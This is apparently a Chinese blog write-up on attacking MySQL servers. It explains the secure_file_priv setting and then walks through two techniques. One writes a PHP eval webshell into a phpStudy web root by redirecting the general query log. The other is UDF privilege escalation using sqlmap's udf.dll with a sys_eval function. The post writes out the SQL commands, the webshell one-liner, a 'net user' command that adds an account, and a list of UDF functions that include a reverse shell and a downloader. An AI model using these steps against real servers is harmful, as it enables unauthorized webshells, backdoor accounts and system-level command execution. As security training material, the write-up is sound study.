secure-file-priv
MYSQL的secure-file-priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的。当secure_file_priv
的值没有具体值时,表示不对mysql 的导入|导出做限制,如果是null,表示mysql不允许导入导出,图中表示mysql的导入和导出被限制在/var/lib/mysql-files/
目录下可以看到,无论是写还是读文件,都只能在/var/lib/mysql-files/
下进行。
Windows下通过日志写shell
Windows下,show variables like '%secure%'
可以看到mysql不允许导入导出,直接写shell是不行的。然后可以看看log的位置,show variables like 'general_log%';
,可以看到phpstudy,因此猜测网站根目录是C:\phpStudy\WWW\
,接着,开启日志记录:set global general_log='on';
然后再将日志文件导出到指定目录:set global general_log_file='C:/phpstudy/WWW/comrade.php';
要注意的是,windows下的目录用的是反斜杠,但是在用mysql指定目录的时候用的是正斜杠。然后,select '<?php eval($_POST["comrade"]);?>'
,这时候日志文件就会变成这样直接可以蚁剑连上最后关闭log记录set global general_log=off;
这时候通过蚁剑的终端可以看到,用户权限较低,创建用户失败net user comrade 666 /add
的意思是创建一个comrade用户,密码666。
UDF提权
UDF
UDF是mysql的一个拓展接口,UDF(Userdefined function)可翻译为用户自定义函数。例如select count(*) from table;
count是MySQL内部的方法,有时候MySQL内部方法不能满足我们的需求,所以MySQL提供了对外的接口,允许用户自定义函数,开发UDF需要用C/C++。
动态链接库
动态链接库是微软公司在微软Windows操作系统中,实现共享函数库概念的一种方式。
动态链接提供了一种方法,使进程可以调用不属于其可执行代码的函数。函数的可执行代码位于一个 DLL 文件中,该 DLL 包含一个或多个已被编译、链接并与使用它们的进程分开存储的函数。DLL 还有助于共享数据和资源。多个应用程序可同时访问内存中单个 DLL 副本的内容。
Windows 中,DLL 多数情况下是带有 “.dll” 扩展名的文件,但也可能是 “.ocx”或其他扩展名;Linux系统中常常是 “.so” 的文件。
提权分析
udf是Mysql类提权的方式之一。前提是已知mysql中root的账号密码,我们在拿到webshell后,可以看网站根目录下的config.php里,一般都有mysql的账号密码。利用root权限,创建带有调用cmd函数的’udf.dll’(动态链接库)。当我们把’udf.dll’导出指定文件夹引入Mysql时,其中的调用函数拿出来当作mysql的函数使用。这样我们自定义的函数才被当作本机函数执行。在使用CREAT FUNCITON
调用dll中的函数后,mysql账号转化为system权限,从而来提权。
过程
在MySQL版本>5.1的时候,udf.dll文件要放在MySQL安装目录下的lib/plugin目录下,这里我卡住了很久,不知道win10的udf.dll放在哪里,后面发现,sqlmap是有自带的MYSQL的udf.dll的,简直神器啊。。。使用sqlmap的dll之前要先解密再把udf.dll放到相应的目录下,就完成了udf的动态链接库的导出,但是还不能用里面的函数,要用的话还要在MySQL中导入:CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';
sys_eval函数可执行任意命令,常见函数:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19cmdshell 执行cmd;
downloader 下载者,到网上下载指定文件并保存到指定目录;
open3389 通用开3389终端服务,可指定端口(不改端口无需重启);
backshell 反弹Shell;
ProcessView 枚举系统进程;
KillProcess 终止指定进程;
regread 读注册表;
regwrite 写注册表;
shut 关机,注销,重启;
about 说明与帮助函数;
执行命令:主题应该是提权,but,我执行select sys_eval('net user comrade 666 /add');
没有任何反应鸭…
Referer
https://xz.aliyun.com/t/2719#reply-10710
https://www.jianshu.com/p/5b34c1b6dee7